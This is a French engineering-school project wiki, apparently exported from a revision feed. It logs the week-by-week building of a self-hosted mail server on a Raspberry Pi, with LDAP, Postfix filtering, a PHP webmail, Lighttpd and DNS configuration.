Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25947</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25947"/>
				<updated>2016-02-02T12:25:02Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 17 (25/01/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; et même tester l'identification avec :&lt;br /&gt;
 ldapwhoami -vvv -h localhost -D &amp;quot;cn=username,dc=mail,dc=domain,dc=tld&amp;quot; -x -W&lt;br /&gt;
Si la commande renvoie &amp;lt;code&amp;gt;Result: Success (0)&amp;lt;/code&amp;gt; alors l'identification a fonctionné.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;ldapsearch&amp;lt;/code&amp;gt; permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -b &amp;quot;dc=mail,dc=domain,dc=tld&amp;quot; &amp;quot;(&amp;amp;(objectClass=CourierMailAccount))&amp;quot;&lt;br /&gt;
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.&lt;br /&gt;
&lt;br /&gt;
===Semaine 5 (19/10/2015)===&lt;br /&gt;
==== DNS et SSL ====&lt;br /&gt;
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]&lt;br /&gt;
&lt;br /&gt;
nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.&lt;br /&gt;
&lt;br /&gt;
De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.&lt;br /&gt;
&lt;br /&gt;
La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :&lt;br /&gt;
 @       IN      MX      10 mail.intimail.pw.&lt;br /&gt;
 mail    IN      A       193.48.57.171&lt;br /&gt;
&lt;br /&gt;
De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :&lt;br /&gt;
 171     IN      PTR     mail.intimail.pw.&lt;br /&gt;
&lt;br /&gt;
A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.&lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
